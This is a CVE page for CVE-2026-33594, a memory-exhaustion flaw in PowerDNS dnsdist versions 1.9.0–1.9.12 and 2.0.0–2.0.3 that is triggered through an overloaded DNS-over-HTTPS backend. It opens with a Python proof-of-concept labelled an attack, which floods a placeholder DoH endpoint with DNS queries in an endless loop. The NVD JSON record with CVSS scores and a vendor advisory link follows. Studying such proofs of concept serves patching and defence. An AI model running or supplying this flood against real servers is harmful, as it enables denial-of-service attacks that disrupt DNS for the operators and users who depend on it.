CVE-2026-33594

import requests import time # Conceptual PoC for CVE-2026-33594 # This script sends a large number of queries to simulate the memory exhaustion # Target DoH endpoint (example) target_url = "https://target-dnsdist-server/dns-query" headers = {"Content-Type": "application/dns-message", "Accept": "application/dns-message"} # A simple DNS query payload (for example.com) dns_query = b'\x00\x1c\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07\x65\x78\x61\x6d\x70\x6c\x65\x03\x63\x6f\x6d\x00\x00\x01\x00\x01' def send_flood(): print("Starting attack simulation...") try: while True: # Send queries to trigger buffer accumulation on overloaded backend response = requests.post(target_url, headers=headers, data=dns_query, timeout=5) print(f"Sent query, status: {response.status_code}") # Adjust rate if necessary to overwhelm the buffer processing time.sleep(0.01) except KeyboardInterrupt: print("Attack stopped.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": send_flood()

{"cve": {"id": "CVE-2026-33594", "sourceIdentifier": "[email protected]", "published": "2026-04-22T14:16:53.837", "lastModified": "2026-04-24T16:48:39.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A client can trigger excessive memory allocation by generating a lot of queries that are routed to an overloaded DoH backend, causing queries to accumulate into a buffer that will not be released until the end of the connection."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.9.0", "versionEndExcluding": "1.9.13", "matchCriteriaId": "DCC2DF11-EC5C-4112-90F2-C266CB65D390"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.4", "matchCriteriaId": "29865EC6-C1A0-40F3-B0BB-7F71F9C1DCB7"}]}]}], "references": [{"url": "https://www.dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2026-04.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}